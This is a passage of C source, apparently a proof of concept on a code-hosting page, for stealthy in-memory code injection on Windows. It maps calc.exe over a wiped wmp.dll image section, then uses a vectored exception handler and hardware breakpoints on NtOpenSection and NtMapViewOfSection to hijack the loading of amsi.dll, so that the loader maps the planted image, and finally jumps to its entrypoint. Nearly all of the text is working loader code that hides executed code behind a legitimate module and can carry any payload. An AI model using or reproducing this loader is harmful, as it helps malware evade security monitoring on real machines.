ctx->Dr7 = 1LL;
|
||||
ctx->Dr0 = (DWORD64)address;
|
||||
NtContinue(ctx, FALSE);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Default to current thread if no context was given
|
||||
CONTEXT context = { 0 };
|
||||
context.ContextFlags = CTX_FLAGS;
|
||||
|
||||
HANDLE hThread = GetCurrentThread();
|
||||
|
||||
if (!GetThreadContext(hThread, &context))
|
||||
return FALSE;
|
||||
|
||||
context.Dr7 = 1;
|
||||
context.Dr0 = (DWORD64)address;
|
||||
|
||||
if (!SetThreadContext(hThread, &context))
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo)
|
||||
{
|
||||
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
||||
{
|
||||
CONTEXT* ctx = ExceptionInfo->ContextRecord;
|
||||
|
||||
switch (gLdrState)
|
||||
{
|
||||
case LdrState::StateOpenSection:
|
||||
{
|
||||
printf("[*] gLdrState == LdrState::StateOpenSection\r\n");
|
||||
|
||||
// Overwrite OUT handle
|
||||
*(PHANDLE)ctx->Rcx = gSectionHandle;
|
||||
|
||||
// Skip syscall
|
||||
ctx->Rax = 0;
|
||||
BYTE* rip = (BYTE*)ctx->Rip;
|
||||
while (*rip != 0xC3) ++rip;
|
||||
ctx->Rip = (ULONG_PTR)(rip);
|
||||
|
||||
// Advance state and set next HWBP
|
||||
gLdrState = LdrState::StateMapViewOfSection;
|
||||
SetHardwareBreakpoint(NtMapViewOfSection, ctx);
|
||||
NtContinue(ctx, FALSE);
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
break;
|
||||
|
||||
case LdrState::StateMapViewOfSection:
|
||||
{
|
||||
printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n");
|
||||
if ((HANDLE)ctx->Rcx != gSectionHandle)
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
printf(" Section handle is ours\r\n");
|
||||
|
||||
// Replace OUT parameters
|
||||
PVOID* baseAddrPtr = (PVOID*)ctx->R8;
|
||||
PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38);
|
||||
ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48);
|
||||
ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50);
|
||||
|
||||
if (baseAddrPtr)
|
||||
*baseAddrPtr = gBaseAddress;
|
||||
if (viewSizePtr)
|
||||
*viewSizePtr = gViewSize;
|
||||
|
||||
*allocTypePtr = 0;
|
||||
*protectPtr = PAGE_EXECUTE_READWRITE;
|
||||
|
||||
// Skip syscall
|
||||
ctx->Rax = 0;
|
||||
BYTE* rip = (BYTE*)ctx->Rip;
|
||||
while (*rip != 0xC3) ++rip;
|
||||
ctx->Rip = (ULONG_PTR)(rip);
|
||||
|
||||
// Unset HWBP
|
||||
ctx->Dr0 = 0LL;
|
||||
ctx->Dr1 = 0LL;
|
||||
ctx->Dr2 = 0LL;
|
||||
ctx->Dr3 = 0LL;
|
||||
ctx->Dr6 = 0LL;
|
||||
ctx->Dr7 = 0LL;
|
||||
ctx->EFlags |= 0x10000u;
|
||||
|
||||
NtContinue(ctx, FALSE);
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
NtContinue(ctx, FALSE);
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL
|
||||
ApplyRelocations(
|
||||
PBYTE base,
|
||||
SIZE_T imageSize,
|
||||
ULONGLONG newBase,
|
||||
ULONGLONG oldBase
|
||||
)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||
|
||||
ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase;
|
||||
if (!delta)
|
||||
return TRUE;
|
||||
|
||||
IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
if (!relocDir.VirtualAddress || !relocDir.Size)
|
||||
return TRUE;
|
||||
|
||||
SIZE_T processed = 0;
|
||||
PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress);
|
||||
|
||||
while (processed < relocDir.Size && block->SizeOfBlock)
|
||||
{
|
||||
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
for (DWORD i = 0; i < count; i++, entry++)
|
||||
{
|
||||
WORD type = *entry >> 12;
|
||||
WORD offset = *entry & 0xFFF;
|
||||
BYTE* patchAddr = base + block->VirtualAddress + offset;
|
||||
|
||||
if (type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD*)patchAddr += (DWORD)delta;
|
||||
else if (type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONGLONG*)patchAddr += delta;
|
||||
}
|
||||
processed += block->SizeOfBlock;
|
||||
block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL
|
||||
CopyImageSections(
|
||||
PBYTE sourceBuffer,
|
||||
PVOID baseAddress,
|
||||
SIZE_T viewSize
|
||||
)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew);
|
||||
|
||||
// Copy headers
|
||||
SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;
|
||||
memcpy(baseAddress, sourceBuffer, headersSize);
|
||||
|
||||
// Copy sections
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
|
||||
{
|
||||
if (sec->SizeOfRawData == 0)
|
||||
continue;
|
||||
|
||||
BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress;
|
||||
BYTE* src = sourceBuffer + sec->PointerToRawData;
|
||||
SIZE_T size = sec->SizeOfRawData;
|
||||
|
||||
if ((sec->VirtualAddress + size) > viewSize)
|
||||
size = viewSize - sec->VirtualAddress;
|
||||
|
||||
memcpy(dst, src, size);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL
|
||||
ApplySectionProtections(
|
||||
PVOID baseAddress
|
||||
)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew);
|
||||
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
|
||||
{
|
||||
DWORD protect;
|
||||
DWORD old;
|
||||
|
||||
if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||
{
|
||||
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
protect = PAGE_EXECUTE_READWRITE;
|
||||
else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
|
||||
protect = PAGE_EXECUTE_READ;
|
||||
else
|
||||
protect = PAGE_EXECUTE;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
protect = PAGE_READWRITE;
|
||||
else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
|
||||
protect = PAGE_READONLY;
|
||||
else
|
||||
protect = PAGE_NOACCESS;
|
||||
}
|
||||
|
||||
PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress;
|
||||
SIZE_T size = sec->Misc.VirtualSize;
|
||||
if (!size)
|
||||
size = sec->SizeOfRawData;
|
||||
|
||||
VirtualProtect(addr, size, protect, &old);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int
|
||||
main()
|
||||
{
|
||||
DWORD oldProt;
|
||||
DWORD bytesRead;
|
||||
|
||||
// Read PE to inject (calc.exe) into buffer
|
||||
HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hCalc == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("[-] Failed to open calc.exe\n");
|
||||
return 1;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hCalc, NULL);
|
||||
BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
|
||||
ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL);
|
||||
CloseHandle(hCalc);
|
||||
|
||||
// Parse headers of PE to inject
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew);
|
||||
|
||||
// Force DLL characteristics and zero out entrypoint
|
||||
DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;
|
||||
if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL))
|
||||
{
|
||||
nt->FileHeader.Characteristics |= IMAGE_FILE_DLL;
|
||||
nt->OptionalHeader.AddressOfEntryPoint = 0;
|
||||
}
|
||||
|
||||
// Create SEC_IMAGE section from wmp.dll
|
||||
HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hWmp == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf("[-] Failed to open wmp.dll\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp);
|
||||
CloseHandle(hWmp);
|
||||
if (status < 0)
|
||||
{
|
||||
printf("[-] NtCreateSection failed: 0x%08X\n", status);
|
||||
return 1;
|
||||
}
|
||||
|
||||
status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE);
|
||||
if (status < 0)
|
||||
{
|
||||
printf("[-] NtMapViewOfSection failed: 0x%08X\n", status);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Make headers and image of wmp.dll writeable and wipe it
|
||||
VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);
|
||||
memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage);
|
||||
|
||||
// Copy headers and sections from PE to inject into the section
|
||||
CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);
|
||||
HeapFree(GetProcessHeap(), 0, pTargetPeBuf);
|
||||
|
||||
// Apply relocations & section protections
|
||||
ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);
|
||||
ApplySectionProtections(gBaseAddress);
|
||||
|
||||
printf("[*] Section ready:\n");
|
||||
printf(" BaseAddress = %p\n", gBaseAddress);
|
||||
printf(" ViewSize = %zu\n", gViewSize);
|
||||
printf(" Section = %p\n", gSectionHandle);
|
||||
|
||||
// Register VEH and set HWBP
|
||||
PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler);
|
||||
SetHardwareBreakpoint(NtOpenSection, NULL);
|
||||
|
||||
// Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow
|
||||
HMODULE base = LoadLibraryW(L"amsi.dll");
|
||||
if (!base)
|
||||
{
|
||||
printf("[-] Failed to load library\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[*] Loaded at 0x%llx\r\n", base);
|
||||
RemoveVectoredExceptionHandler(InjectHandler);
|
||||
|
||||
// Invoke entrypoint
|
||||
PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;
|
||||
printf("[*] Jumping to entrypoint at %p\n", entryPoint);
|
||||
((void (*)())entryPoint)();
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user